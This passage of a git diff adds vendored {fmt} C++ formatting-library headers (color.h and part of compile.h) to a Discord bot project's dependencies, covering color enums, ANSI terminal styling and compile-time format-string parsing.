rgb(219,112,147) + papaya_whip = 0xFFEFD5, // rgb(255,239,213) + peach_puff = 0xFFDAB9, // rgb(255,218,185) + peru = 0xCD853F, // rgb(205,133,63) + pink = 0xFFC0CB, // rgb(255,192,203) + plum = 0xDDA0DD, // rgb(221,160,221) + powder_blue = 0xB0E0E6, // rgb(176,224,230) + purple = 0x800080, // rgb(128,0,128) + rebecca_purple = 0x663399, // rgb(102,51,153) + red = 0xFF0000, // rgb(255,0,0) + rosy_brown = 0xBC8F8F, // rgb(188,143,143) + royal_blue = 0x4169E1, // rgb(65,105,225) + saddle_brown = 0x8B4513, // rgb(139,69,19) + salmon = 0xFA8072, // rgb(250,128,114) + sandy_brown = 0xF4A460, // rgb(244,164,96) + sea_green = 0x2E8B57, // rgb(46,139,87) + sea_shell = 0xFFF5EE, // rgb(255,245,238) + sienna = 0xA0522D, // rgb(160,82,45) + silver = 0xC0C0C0, // rgb(192,192,192) + sky_blue = 0x87CEEB, // rgb(135,206,235) + slate_blue = 0x6A5ACD, // rgb(106,90,205) + slate_gray = 0x708090, // rgb(112,128,144) + snow = 0xFFFAFA, // rgb(255,250,250) + spring_green = 0x00FF7F, // rgb(0,255,127) + steel_blue = 0x4682B4, // rgb(70,130,180) + tan = 0xD2B48C, // rgb(210,180,140) + teal = 0x008080, // rgb(0,128,128) + thistle = 0xD8BFD8, // rgb(216,191,216) + tomato = 0xFF6347, // rgb(255,99,71) + turquoise = 0x40E0D0, // rgb(64,224,208) + violet = 0xEE82EE, // rgb(238,130,238) + wheat = 0xF5DEB3, // rgb(245,222,179) + white = 0xFFFFFF, // rgb(255,255,255) + white_smoke = 0xF5F5F5, // rgb(245,245,245) + yellow = 0xFFFF00, // rgb(255,255,0) + yellow_green = 0x9ACD32 // rgb(154,205,50) +}; // enum class color + +enum class terminal_color : uint8_t { + black = 30, + red, + green, + yellow, + blue, + magenta, + cyan, + white, + bright_black = 90, + bright_red, + bright_green, + bright_yellow, + bright_blue, + bright_magenta, + bright_cyan, + bright_white +}; + +enum class emphasis : uint8_t { + bold = 1, + italic = 1 << 1, + underline = 1 << 2, + strikethrough = 1 << 3 +}; + +// rgb is a struct for red, green and blue colors. +// Using the name "rgb" makes some editors show the color in a tooltip. +struct rgb { + FMT_CONSTEXPR rgb() : r(0), g(0), b(0) {} + FMT_CONSTEXPR rgb(uint8_t r_, uint8_t g_, uint8_t b_) : r(r_), g(g_), b(b_) {} + FMT_CONSTEXPR rgb(uint32_t hex) + : r((hex >> 16) & 0xFF), g((hex >> 8) & 0xFF), b(hex & 0xFF) {} + FMT_CONSTEXPR rgb(color hex) + : r((uint32_t(hex) >> 16) & 0xFF), + g((uint32_t(hex) >> 8) & 0xFF), + b(uint32_t(hex) & 0xFF) {} + uint8_t r; + uint8_t g; + uint8_t b; +}; + +namespace detail { + +// color is a struct of either a rgb color or a terminal color. +struct color_type { + FMT_CONSTEXPR color_type() FMT_NOEXCEPT : is_rgb(), value{} {} + FMT_CONSTEXPR color_type(color rgb_color) FMT_NOEXCEPT : is_rgb(true), + value{} { + value.rgb_color = static_cast(rgb_color); + } + FMT_CONSTEXPR color_type(rgb rgb_color) FMT_NOEXCEPT : is_rgb(true), value{} { + value.rgb_color = (static_cast(rgb_color.r) << 16) | + (static_cast(rgb_color.g) << 8) | rgb_color.b; + } + FMT_CONSTEXPR color_type(terminal_color term_color) FMT_NOEXCEPT : is_rgb(), + value{} { + value.term_color = static_cast(term_color); + } + bool is_rgb; + union color_union { + uint8_t term_color; + uint32_t rgb_color; + } value; +}; +} // namespace detail + +/** A text style consisting of foreground and background colors and emphasis. */ +class text_style { + public: + FMT_CONSTEXPR text_style(emphasis em = emphasis()) FMT_NOEXCEPT + : set_foreground_color(), + set_background_color(), + ems(em) {} + + FMT_CONSTEXPR text_style& operator|=(const text_style& rhs) { + if (!set_foreground_color) { + set_foreground_color = rhs.set_foreground_color; + foreground_color = rhs.foreground_color; + } else if (rhs.set_foreground_color) { + if (!foreground_color.is_rgb || !rhs.foreground_color.is_rgb) + FMT_THROW(format_error("can't OR a terminal color")); + foreground_color.value.rgb_color |= rhs.foreground_color.value.rgb_color; + } + + if (!set_background_color) { + set_background_color = rhs.set_background_color; + background_color = rhs.background_color; + } else if (rhs.set_background_color) { + if (!background_color.is_rgb || !rhs.background_color.is_rgb) + FMT_THROW(format_error("can't OR a terminal color")); + background_color.value.rgb_color |= rhs.background_color.value.rgb_color; + } + + ems = static_cast(static_cast(ems) | + static_cast(rhs.ems)); + return *this; + } + + friend FMT_CONSTEXPR text_style operator|(text_style lhs, + const text_style& rhs) { + return lhs |= rhs; + } + + FMT_DEPRECATED_NONMSVC FMT_CONSTEXPR text_style& operator&=( + const text_style& rhs) { + return and_assign(rhs); + } + + FMT_DEPRECATED_NONMSVC friend FMT_CONSTEXPR text_style + operator&(text_style lhs, const text_style& rhs) { + return lhs.and_assign(rhs); + } + + FMT_CONSTEXPR bool has_foreground() const FMT_NOEXCEPT { + return set_foreground_color; + } + FMT_CONSTEXPR bool has_background() const FMT_NOEXCEPT { + return set_background_color; + } + FMT_CONSTEXPR bool has_emphasis() const FMT_NOEXCEPT { + return static_cast(ems) != 0; + } + FMT_CONSTEXPR detail::color_type get_foreground() const FMT_NOEXCEPT { + FMT_ASSERT(has_foreground(), "no foreground specified for this style"); + return foreground_color; + } + FMT_CONSTEXPR detail::color_type get_background() const FMT_NOEXCEPT { + FMT_ASSERT(has_background(), "no background specified for this style"); + return background_color; + } + FMT_CONSTEXPR emphasis get_emphasis() const FMT_NOEXCEPT { + FMT_ASSERT(has_emphasis(), "no emphasis specified for this style"); + return ems; + } + + private: + FMT_CONSTEXPR text_style(bool is_foreground, + detail::color_type text_color) FMT_NOEXCEPT + : set_foreground_color(), + set_background_color(), + ems() { + if (is_foreground) { + foreground_color = text_color; + set_foreground_color = true; + } else { + background_color = text_color; + set_background_color = true; + } + } + + // DEPRECATED! + FMT_CONSTEXPR text_style& and_assign(const text_style& rhs) { + if (!set_foreground_color) { + set_foreground_color = rhs.set_foreground_color; + foreground_color = rhs.foreground_color; + } else if (rhs.set_foreground_color) { + if (!foreground_color.is_rgb || !rhs.foreground_color.is_rgb) + FMT_THROW(format_error("can't AND a terminal color")); + foreground_color.value.rgb_color &= rhs.foreground_color.value.rgb_color; + } + + if (!set_background_color) { + set_background_color = rhs.set_background_color; + background_color = rhs.background_color; + } else if (rhs.set_background_color) { + if (!background_color.is_rgb || !rhs.background_color.is_rgb) + FMT_THROW(format_error("can't AND a terminal color")); + background_color.value.rgb_color &= rhs.background_color.value.rgb_color; + } + + ems = static_cast(static_cast(ems) & + static_cast(rhs.ems)); + return *this; + } + + friend FMT_CONSTEXPR_DECL text_style fg(detail::color_type foreground) + FMT_NOEXCEPT; + + friend FMT_CONSTEXPR_DECL text_style bg(detail::color_type background) + FMT_NOEXCEPT; + + detail::color_type foreground_color; + detail::color_type background_color; + bool set_foreground_color; + bool set_background_color; + emphasis ems; +}; + +/** Creates a text style from the foreground (text) color. */ +FMT_CONSTEXPR inline text_style fg(detail::color_type foreground) FMT_NOEXCEPT { + return text_style(true, foreground); +} + +/** Creates a text style from the background color. */ +FMT_CONSTEXPR inline text_style bg(detail::color_type background) FMT_NOEXCEPT { + return text_style(false, background); +} + +FMT_CONSTEXPR inline text_style operator|(emphasis lhs, + emphasis rhs) FMT_NOEXCEPT { + return text_style(lhs) | rhs; +} + +namespace detail { + +template struct ansi_color_escape { + FMT_CONSTEXPR ansi_color_escape(detail::color_type text_color, + const char* esc) FMT_NOEXCEPT { + // If we have a terminal color, we need to output another escape code + // sequence. + if (!text_color.is_rgb) { + bool is_background = esc == detail::data::background_color; + uint32_t value = text_color.value.term_color; + // Background ASCII codes are the same as the foreground ones but with + // 10 more. + if (is_background) value += 10u; + + size_t index = 0; + buffer[index++] = static_cast('\x1b'); + buffer[index++] = static_cast('['); + + if (value >= 100u) { + buffer[index++] = static_cast('1'); + value %= 100u; + } + buffer[index++] = static_cast('0' + value / 10u); + buffer[index++] = static_cast('0' + value % 10u); + + buffer[index++] = static_cast('m'); + buffer[index++] = static_cast('\0'); + return; + } + + for (int i = 0; i < 7; i++) { + buffer[i] = static_cast(esc[i]); + } + rgb color(text_color.value.rgb_color); + to_esc(color.r, buffer + 7, ';'); + to_esc(color.g, buffer + 11, ';'); + to_esc(color.b, buffer + 15, 'm'); + buffer[19] = static_cast(0); + } + FMT_CONSTEXPR ansi_color_escape(emphasis em) FMT_NOEXCEPT { + uint8_t em_codes[4] = {}; + uint8_t em_bits = static_cast(em); + if (em_bits & static_cast(emphasis::bold)) em_codes[0] = 1; + if (em_bits & static_cast(emphasis::italic)) em_codes[1] = 3; + if (em_bits & static_cast(emphasis::underline)) em_codes[2] = 4; + if (em_bits & static_cast(emphasis::strikethrough)) + em_codes[3] = 9; + + size_t index = 0; + for (int i = 0; i < 4; ++i) { + if (!em_codes[i]) continue; + buffer[index++] = static_cast('\x1b'); + buffer[index++] = static_cast('['); + buffer[index++] = static_cast('0' + em_codes[i]); + buffer[index++] = static_cast('m'); + } + buffer[index++] = static_cast(0); + } + FMT_CONSTEXPR operator const Char*() const FMT_NOEXCEPT { return buffer; } + + FMT_CONSTEXPR const Char* begin() const FMT_NOEXCEPT { return buffer; } + FMT_CONSTEXPR const Char* end() const FMT_NOEXCEPT { + return buffer + std::char_traits::length(buffer); + } + + private: + Char buffer[7u + 3u * 4u + 1u]; + + static FMT_CONSTEXPR void to_esc(uint8_t c, Char* out, + char delimiter) FMT_NOEXCEPT { + out[0] = static_cast('0' + c / 100); + out[1] = static_cast('0' + c / 10 % 10); + out[2] = static_cast('0' + c % 10); + out[3] = static_cast(delimiter); + } +}; + +template +FMT_CONSTEXPR ansi_color_escape make_foreground_color( + detail::color_type foreground) FMT_NOEXCEPT { + return ansi_color_escape(foreground, detail::data::foreground_color); +} + +template +FMT_CONSTEXPR ansi_color_escape make_background_color( + detail::color_type background) FMT_NOEXCEPT { + return ansi_color_escape(background, detail::data::background_color); +} + +template +FMT_CONSTEXPR ansi_color_escape make_emphasis(emphasis em) FMT_NOEXCEPT { + return ansi_color_escape(em); +} + +template +inline void fputs(const Char* chars, FILE* stream) FMT_NOEXCEPT { + std::fputs(chars, stream); +} + +template <> +inline void fputs(const wchar_t* chars, FILE* stream) FMT_NOEXCEPT { + std::fputws(chars, stream); +} + +template inline void reset_color(FILE* stream) FMT_NOEXCEPT { + fputs(detail::data::reset_color, stream); +} + +template <> inline void reset_color(FILE* stream) FMT_NOEXCEPT { + fputs(detail::data::wreset_color, stream); +} + +template +inline void reset_color(buffer& buffer) FMT_NOEXCEPT { + const char* begin = data::reset_color; + const char* end = begin + sizeof(data::reset_color) - 1; + buffer.append(begin, end); +} + +template +void vformat_to(buffer& buf, const text_style& ts, + basic_string_view format_str, + basic_format_args>> args) { + bool has_style = false; + if (ts.has_emphasis()) { + has_style = true; + auto emphasis = detail::make_emphasis(ts.get_emphasis()); + buf.append(emphasis.begin(), emphasis.end()); + } + if (ts.has_foreground()) { + has_style = true; + auto foreground = detail::make_foreground_color(ts.get_foreground()); + buf.append(foreground.begin(), foreground.end()); + } + if (ts.has_background()) { + has_style = true; + auto background = detail::make_background_color(ts.get_background()); + buf.append(background.begin(), background.end()); + } + detail::vformat_to(buf, format_str, args); + if (has_style) detail::reset_color(buf); +} +} // namespace detail + +template > +void vprint(std::FILE* f, const text_style& ts, const S& format, + basic_format_args>> args) { + basic_memory_buffer buf; + detail::vformat_to(buf, ts, to_string_view(format), args); + buf.push_back(Char(0)); + detail::fputs(buf.data(), f); +} + +/** + \rst + Formats a string and prints it to the specified file stream using ANSI + escape sequences to specify text formatting. + + **Example**:: + + fmt::print(fmt::emphasis::bold | fg(fmt::color::red), + "Elapsed time: {0:.2f} seconds", 1.23); + \endrst + */ +template ::value)> +void print(std::FILE* f, const text_style& ts, const S& format_str, + const Args&... args) { + vprint(f, ts, format_str, + fmt::make_args_checked(format_str, args...)); +} + +/** + \rst + Formats a string and prints it to stdout using ANSI escape sequences to + specify text formatting. + + **Example**:: + + fmt::print(fmt::emphasis::bold | fg(fmt::color::red), + "Elapsed time: {0:.2f} seconds", 1.23); + \endrst + */ +template ::value)> +void print(const text_style& ts, const S& format_str, const Args&... args) { + return print(stdout, ts, format_str, args...); +} + +template > +inline std::basic_string vformat( + const text_style& ts, const S& format_str, + basic_format_args>> args) { + basic_memory_buffer buf; + detail::vformat_to(buf, ts, to_string_view(format_str), args); + return fmt::to_string(buf); +} + +/** + \rst + Formats arguments and returns the result as a string using ANSI + escape sequences to specify text formatting. + + **Example**:: + + #include + std::string message = fmt::format(fmt::emphasis::bold | fg(fmt::color::red), + "The answer is {}", 42); + \endrst +*/ +template > +inline std::basic_string format(const text_style& ts, const S& format_str, + const Args&... args) { + return vformat(ts, to_string_view(format_str), + fmt::make_args_checked(format_str, args...)); +} + +/** + Formats a string with the given text_style and writes the output to ``out``. + */ +template ::value)> +OutputIt vformat_to( + OutputIt out, const text_style& ts, basic_string_view format_str, + basic_format_args>> args) { + decltype(detail::get_buffer(out)) buf(detail::get_buffer_init(out)); + detail::vformat_to(buf, ts, format_str, args); + return detail::get_iterator(buf); +} + +/** + \rst + Formats arguments with the given text_style, writes the result to the output + iterator ``out`` and returns the iterator past the end of the output range. + + **Example**:: + + std::vector out; + fmt::format_to(std::back_inserter(out), + fmt::emphasis::bold | fg(fmt::color::red), "{}", 42); + \endrst +*/ +template >::value&& + detail::is_string::value> +inline auto format_to(OutputIt out, const text_style& ts, const S& format_str, + Args&&... args) -> + typename std::enable_if::type { + return vformat_to(out, ts, to_string_view(format_str), + fmt::make_args_checked(format_str, args...)); +} + +FMT_END_NAMESPACE + +#endif // FMT_COLOR_H_ diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/compile.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/compile.h new file mode 100644 index 0000000..580cacd --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/compile.h @@ -0,0 +1,958 @@ +// Formatting library for C++ - experimental format string compilation +// +// Copyright (c) 2012 - present, Victor Zverovich and fmt contributors +// All rights reserved. +// +// For the license information refer to format.h. + +#ifndef FMT_COMPILE_H_ +#define FMT_COMPILE_H_ + +#include +#include + +#include "format.h" + +#ifndef FMT_USE_NONTYPE_TEMPLATE_PARAMETERS +# if defined(__cpp_nontype_template_parameter_class) && \ + (!FMT_GCC_VERSION || FMT_GCC_VERSION >= 903) +# define FMT_USE_NONTYPE_TEMPLATE_PARAMETERS 1 +# else +# define FMT_USE_NONTYPE_TEMPLATE_PARAMETERS 0 +# endif +#endif + +FMT_BEGIN_NAMESPACE +namespace detail { + +template class truncating_iterator_base { + protected: + OutputIt out_; + size_t limit_; + size_t count_ = 0; + + truncating_iterator_base() : out_(), limit_(0) {} + + truncating_iterator_base(OutputIt out, size_t limit) + : out_(out), limit_(limit) {} + + public: + using iterator_category = std::output_iterator_tag; + using value_type = typename std::iterator_traits::value_type; + using difference_type = std::ptrdiff_t; + using pointer = void; + using reference = void; + using _Unchecked_type = + truncating_iterator_base; // Mark iterator as checked. + + OutputIt base() const { return out_; } + size_t count() const { return count_; } +}; + +// An output iterator that truncates the output and counts the number of objects +// written to it. +template ::value_type>::type> +class truncating_iterator; + +template +class truncating_iterator + : public truncating_iterator_base { + mutable typename truncating_iterator_base::value_type blackhole_; + + public: + using value_type = typename truncating_iterator_base::value_type; + + truncating_iterator() = default; + + truncating_iterator(OutputIt out, size_t limit) + : truncating_iterator_base(out, limit) {} + + truncating_iterator& operator++() { + if (this->count_++ < this->limit_) ++this->out_; + return *this; + } + + truncating_iterator operator++(int) { + auto it = *this; + ++*this; + return it; + } + + value_type& operator*() const { + return this->count_ < this->limit_ ? *this->out_ : blackhole_; + } +}; + +template +class truncating_iterator + : public truncating_iterator_base { + public: + truncating_iterator() = default; + + truncating_iterator(OutputIt out, size_t limit) + : truncating_iterator_base(out, limit) {} + + template truncating_iterator& operator=(T val) { + if (this->count_++ < this->limit_) *this->out_++ = val; + return *this; + } + + truncating_iterator& operator++() { return *this; } + truncating_iterator& operator++(int) { return *this; } + truncating_iterator& operator*() { return *this; } +}; + +// A compile-time string which is compiled into fast formatting code. +class compiled_string {}; + +template +struct is_compiled_string : std::is_base_of {}; + +/** + \rst + Converts a string literal *s* into a format string that will be parsed at + compile time and converted into efficient formatting code. Requires C++17 + ``constexpr if`` compiler support. + + **Example**:: + + // Converts 42 into std::string using the most efficient method and no + // runtime format string processing. + std::string s = fmt::format(FMT_COMPILE("{}"), 42); + \endrst + */ +#define FMT_COMPILE(s) FMT_STRING_IMPL(s, fmt::detail::compiled_string) + +#if FMT_USE_NONTYPE_TEMPLATE_PARAMETERS +template struct fixed_string { + constexpr fixed_string(const Char (&str)[N]) { + copy_str(static_cast(str), str + N, + data); + } + Char data[N]{}; +}; + +template Str> +struct udl_compiled_string : compiled_string { + using char_type = Char; + constexpr operator basic_string_view() const { + return {Str.data, N - 1}; + } +}; +#endif + +template +const T& first(const T& value, const Tail&...) { + return value; +} + +// Part of a compiled format string. It can be either literal text or a +// replacement field. +template struct format_part { + enum class kind { arg_index, arg_name, text, replacement }; + + struct replacement { + arg_ref arg_id; + dynamic_format_specs specs; + }; + + kind part_kind; + union value { + int arg_index; + basic_string_view str; + replacement repl; + + FMT_CONSTEXPR value(int index = 0) : arg_index(index) {} + FMT_CONSTEXPR value(basic_string_view s) : str(s) {} + FMT_CONSTEXPR value(replacement r) : repl(r) {} + } val; + // Position past the end of the argument id. + const Char* arg_id_end = nullptr; + + FMT_CONSTEXPR format_part(kind k = kind::arg_index, value v = {}) + : part_kind(k), val(v) {} + + static FMT_CONSTEXPR format_part make_arg_index(int index) { + return format_part(kind::arg_index, index); + } + static FMT_CONSTEXPR format_part make_arg_name(basic_string_view name) { + return format_part(kind::arg_name, name); + } + static FMT_CONSTEXPR format_part make_text(basic_string_view text) { + return format_part(kind::text, text); + } + static FMT_CONSTEXPR format_part make_replacement(replacement repl) { + return format_part(kind::replacement, repl); + } +}; + +template struct part_counter { + unsigned num_parts = 0; + + FMT_CONSTEXPR void on_text(const Char* begin, const Char* end) { + if (begin != end) ++num_parts; + } + + FMT_CONSTEXPR int on_arg_id() { return ++num_parts, 0; } + FMT_CONSTEXPR int on_arg_id(int) { return ++num_parts, 0; } + FMT_CONSTEXPR int on_arg_id(basic_string_view) { + return ++num_parts, 0; + } + + FMT_CONSTEXPR void on_replacement_field(int, const Char*) {} + + FMT_CONSTEXPR const Char* on_format_specs(int, const Char* begin, + const Char* end) { + // Find the matching brace. + unsigned brace_counter = 0; + for (; begin != end; ++begin) { + if (*begin == '{') { + ++brace_counter; + } else if (*begin == '}') { + if (brace_counter == 0u) break; + --brace_counter; + } + } + return begin; + } + + FMT_CONSTEXPR void on_error(const char*) {} +}; + +// Counts the number of parts in a format string. +template +FMT_CONSTEXPR unsigned count_parts(basic_string_view format_str) { + part_counter counter; + parse_format_string(format_str, counter); + return counter.num_parts; +} + +template +class format_string_compiler : public error_handler { + private: + using part = format_part; + + PartHandler handler_; + part part_; + basic_string_view format_str_; + basic_format_parse_context parse_context_; + + public: + FMT_CONSTEXPR format_string_compiler(basic_string_view format_str, + PartHandler handler) + : handler_(handler), + format_str_(format_str), + parse_context_(format_str) {} + + FMT_CONSTEXPR void on_text(const Char* begin, const Char* end) { + if (begin != end) + handler_(part::make_text({begin, to_unsigned(end - begin)})); + } + + FMT_CONSTEXPR int on_arg_id() { + part_ = part::make_arg_index(parse_context_.next_arg_id()); + return 0; + } + + FMT_CONSTEXPR int on_arg_id(int id) { + parse_context_.check_arg_id(id); + part_ = part::make_arg_index(id); + return 0; + } + + FMT_CONSTEXPR int on_arg_id(basic_string_view id) { + part_ = part::make_arg_name(id); + return 0; + } + + FMT_CONSTEXPR void on_replacement_field(int, const Char* ptr) { + part_.arg_id_end = ptr; + handler_(part_); + } + + FMT_CONSTEXPR const Char* on_format_specs(int, const Char* begin, + const Char* end) { + auto repl = typename part::replacement(); + dynamic_specs_handler> handler( + repl.specs, parse_context_); + auto it = parse_format_specs(begin, end, handler); + if (*it != '}') on_error("missing '}' in format string"); + repl.arg_id = part_.part_kind == part::kind::arg_index + ? arg_ref(part_.val.arg_index) + : arg_ref(part_.val.str); + auto replacement_part = part::make_replacement(repl); + replacement_part.arg_id_end = begin; + handler_(replacement_part); + return it; + } +}; + +// Compiles a format string and invokes handler(part) for each parsed part. +template +FMT_CONSTEXPR void compile_format_string(basic_string_view format_str, + PartHandler handler) { + parse_format_string( + format_str, + format_string_compiler(format_str, handler)); +} + +template +void format_arg( + basic_format_parse_context& parse_ctx, + Context& ctx, Id arg_id) { + auto arg = ctx.arg(arg_id); + if (arg.type() == type::custom_type) { + visit_format_arg(custom_formatter(parse_ctx, ctx), arg); + } else { + ctx.advance_to(visit_format_arg( + default_arg_formatter{ + ctx.out(), ctx.args(), ctx.locale()}, + arg)); + } +} + +// vformat_to is defined in a subnamespace to prevent ADL. +namespace cf { +template +auto vformat_to(OutputIt out, CompiledFormat& cf, + basic_format_args args) -> typename Context::iterator { + using char_type = typename Context::char_type; + basic_format_parse_context parse_ctx( + to_string_view(cf.format_str_)); + Context ctx(out, args); + + const auto& parts = cf.parts(); + for (auto part_it = std::begin(parts); part_it != std::end(parts); + ++part_it) { + const auto& part = *part_it; + const auto& value = part.val; + + using format_part_t = format_part; + switch (part.part_kind) { + case format_part_t::kind::text: { + const auto text = value.str; + auto output = ctx.out(); + auto&& it = reserve(output, text.size()); + it = std::copy_n(text.begin(), text.size(), it); + ctx.advance_to(output); + break; + } + + case format_part_t::kind::arg_index: + advance_to(parse_ctx, part.arg_id_end); + detail::format_arg(parse_ctx, ctx, value.arg_index); + break; + + case format_part_t::kind::arg_name: + advance_to(parse_ctx, part.arg_id_end); + detail::format_arg(parse_ctx, ctx, value.str); + break; + + case format_part_t::kind::replacement: { + const auto& arg_id_value = value.repl.arg_id.val; + const auto arg = value.repl.arg_id.kind == arg_id_kind::index + ? ctx.arg(arg_id_value.index) + : ctx.arg(arg_id_value.name); + + auto specs = value.repl.specs; + + handle_dynamic_spec(specs.width, specs.width_ref, ctx); + handle_dynamic_spec(specs.precision, + specs.precision_ref, ctx); + + error_handler h; + numeric_specs_checker checker(h, arg.type()); + if (specs.align == align::numeric) checker.require_numeric_argument(); + if (specs.sign != sign::none) checker.check_sign(); + if (specs.alt) checker.require_numeric_argument(); + if (specs.precision >= 0) checker.check_precision(); + + advance_to(parse_ctx, part.arg_id_end); + ctx.advance_to(visit_format_arg( + arg_formatter(ctx, specs), + arg)); + break; + } + } + } + return ctx.out(); +} +} // namespace cf + +struct basic_compiled_format {}; + +template +struct compiled_format_base : basic_compiled_format { + using char_type = char_t; + using parts_container = std::vector>; + + parts_container compiled_parts; + + explicit compiled_format_base(basic_string_view format_str) { + compile_format_string(format_str, + [this](const format_part& part) { + compiled_parts.push_back(part); + }); + } + + const parts_container& parts() const { return compiled_parts; } +}; + +template struct format_part_array { + format_part data[N] = {}; + FMT_CONSTEXPR format_part_array() = default; +}; + +template +FMT_CONSTEXPR format_part_array compile_to_parts( + basic_string_view format_str) { + format_part_array parts; + unsigned counter = 0; + // This is not a lambda for compatibility with older compilers. + struct { + format_part* parts; + unsigned* counter; + FMT_CONSTEXPR void operator()(const format_part& part) { + parts[(*counter)++] = part; + } + } collector{parts.data, &counter}; + compile_format_string(format_str, collector); + if (counter < N) { + parts.data[counter] = + format_part::make_text(basic_string_view()); + } + return parts; +} + +template constexpr const T& constexpr_max(const T& a, const T& b) { + return (a < b) ? b : a; +} + +template +struct compiled_format_base::value>> + : basic_compiled_format { + using char_type = char_t; + + FMT_CONSTEXPR explicit compiled_format_base(basic_string_view) {} + +// Workaround for old compilers. Format string compilation will not be +// performed there anyway. +#if FMT_USE_CONSTEXPR + static FMT_CONSTEXPR_DECL const unsigned num_format_parts = + constexpr_max(count_parts(to_string_view(S())), 1u); +#else + static const unsigned num_format_parts = 1; +#endif + + using parts_container = format_part[num_format_parts]; + + const parts_container& parts() const { + static FMT_CONSTEXPR_DECL const auto compiled_parts = + compile_to_parts( + detail::to_string_view(S())); + return compiled_parts.data; + } +}; + +template +class compiled_format : private compiled_format_base { + public: + using typename compiled_format_base::char_type; + + private: + basic_string_view format_str_; + + template + friend auto cf::vformat_to(OutputIt out, CompiledFormat& cf, + basic_format_args args) -> + typename Context::iterator; + + public: + compiled_format() = delete; + explicit constexpr compiled_format(basic_string_view format_str) + : compiled_format_base(format_str), format_str_(format_str) {} +}; + +#ifdef __cpp_if_constexpr +template struct type_list {}; + +// Returns a reference to the argument at index N from [first, rest...]. +template +constexpr const auto& get([[maybe_unused]] const T& first, + [[maybe_unused]] const Args&... rest) { + static_assert(N < 1 + sizeof...(Args), "index is out of bounds"); + if constexpr (N == 0) + return first; + else + return get(rest...); +} + +template struct get_type_impl; + +template struct get_type_impl> { + using type = remove_cvref_t(std::declval()...))>; +}; + +template +using get_type = typename get_type_impl::type; + +template struct is_compiled_format : std::false_type {}; + +template struct text { + basic_string_view data; + using char_type = Char; + + template + constexpr OutputIt format(OutputIt out, const Args&...) const { + return write(out, data); + } +}; + +template +struct is_compiled_format> : std::true_type {}; + +template +constexpr text make_text(basic_string_view s, size_t pos, + size_t size) { + return {{&s[pos], size}}; +} + +template struct code_unit { + Char value; + using char_type = Char; + + template + constexpr OutputIt format(OutputIt out, const Args&...) const { + return write(out, value); + } +}; + +template +struct is_compiled_format> : std::true_type {}; + +// A replacement field that refers to argument N. +template struct field { + using char_type = Char; + + template + constexpr OutputIt format(OutputIt out, const Args&... args) const { + if constexpr (is_named_arg::type>::value) { + const auto& arg = get(args...).value; + return write(out, arg); + } else { + // This ensures that the argument type is convertile to `const T&`. + const T& arg = get(args...); + return write(out, arg); + } + } +}; + +template +struct is_compiled_format> : std::true_type {}; + +// A replacement field that refers to argument with name. +template struct runtime_named_field { + using char_type = Char; + basic_string_view name; + + template + constexpr static bool try_format_argument( + OutputIt& out, + // [[maybe_unused]] due to unused-but-set-parameter warning in GCC 7,8,9 + [[maybe_unused]] basic_string_view arg_name, const T& arg) { + if constexpr (is_named_arg::type>::value) { + if (arg_name == arg.name) { + out = write(out, arg.value); + return true; + } + } + return false; + } + + template + constexpr OutputIt format(OutputIt out, const Args&... args) const { + bool found = (try_format_argument(out, name, args) || ...); + if (!found) { + throw format_error("argument with specified name is not found"); + } + return out; + } +}; + +template +struct is_compiled_format> : std::true_type {}; + +// A replacement field that refers to argument N and has format specifiers. +template struct spec_field { + using char_type = Char; + formatter fmt; + + template + constexpr OutputIt format(OutputIt out, const Args&... args) const { + // This ensures that the argument type is convertile to `const T&`. + const T& arg = get(args...); + const auto& vargs = + make_format_args>(args...); + basic_format_context ctx(out, vargs); + return fmt.format(arg, ctx); + } +}; + +template +struct is_compiled_format> : std::true_type {}; + +template struct concat { + L lhs; + R rhs; + using char_type = typename L::char_type; + + template + constexpr OutputIt format(OutputIt out, const Args&... args) const { + out = lhs.format(out, args...); + return rhs.format(out, args...); + } +}; + +template +struct is_compiled_format> : std::true_type {}; + +template +constexpr concat make_concat(L lhs, R rhs) { + return {lhs, rhs}; +} + +struct unknown_format {}; + +template +constexpr size_t parse_text(basic_string_view str, size_t pos) { + for (size_t size = str.size(); pos != size; ++pos) { + if (str[pos] == '{' || str[pos] == '}') break; + } + return pos; +} + +template +constexpr auto compile_format_string(S format_str); + +template +constexpr auto parse_tail(T head, S format_str) { + if constexpr (POS != + basic_string_view(format_str).size()) { + constexpr auto tail = compile_format_string(format_str); + if constexpr (std::is_same, + unknown_format>()) + return tail; + else + return make_concat(head, tail); + } else { + return head; + } +} + +template struct parse_specs_result { + formatter fmt; + size_t end; + int next_arg_id; +}; + +constexpr int manual_indexing_id = -1; + +template +constexpr parse_specs_result parse_specs(basic_string_view str, + size_t pos, int next_arg_id) { + str.remove_prefix(pos); + auto ctx = basic_format_parse_context(str, {}, next_arg_id); + auto f = formatter(); + auto end = f.parse(ctx); + return {f, pos + fmt::detail::to_unsigned(end - str.data()) + 1, + next_arg_id == 0 ? manual_indexing_id : ctx.next_arg_id()}; +} + +template struct arg_id_handler { + constexpr void on_error(const char* message) { throw format_error(message); } + + constexpr int on_arg_id() { + FMT_ASSERT(false, "handler cannot be used with automatic indexing"); + return 0; + } + + constexpr int on_arg_id(int id) { + arg_id = arg_ref(id); + return 0; + } + + constexpr int on_arg_id(basic_string_view id) { + arg_id = arg_ref(id); + return 0; + } + + arg_ref arg_id; +}; + +template struct parse_arg_id_result { + arg_ref arg_id; + const Char* arg_id_end; +}; + +template +constexpr auto parse_arg_id(const Char* begin, const Char* end) { + auto handler = arg_id_handler{arg_ref{}}; + auto adapter = id_adapter, Char>{handler, 0}; + auto arg_id_end = parse_arg_id(begin, end, adapter); + return parse_arg_id_result{handler.arg_id, arg_id_end}; +} + +// Compiles a non-empty format string and returns the compiled representation +// or unknown_format() on unrecognized input. +template +constexpr auto compile_format_string(S format_str) { + using char_type = typename S::char_type; + constexpr basic_string_view str = format_str; + if constexpr (str[POS] == '{') { + if constexpr (POS + 1 == str.size()) + throw format_error("unmatched '{' in format string"); + if constexpr (str[POS + 1] == '{') { + return parse_tail(make_text(str, POS, 1), format_str); + } else if constexpr (str[POS + 1] == '}' || str[POS + 1] == ':') { + static_assert(ID != manual_indexing_id, + "cannot switch from manual to automatic argument indexing"); + using id_type = get_type; + if constexpr (str[POS + 1] == '}') { + constexpr auto next_id = + ID != manual_indexing_id ? ID + 1 : manual_indexing_id; + return parse_tail( + field(), format_str); + } else { + constexpr auto result = parse_specs(str, POS + 2, ID + 1); + return parse_tail( + spec_field{result.fmt}, format_str); + } 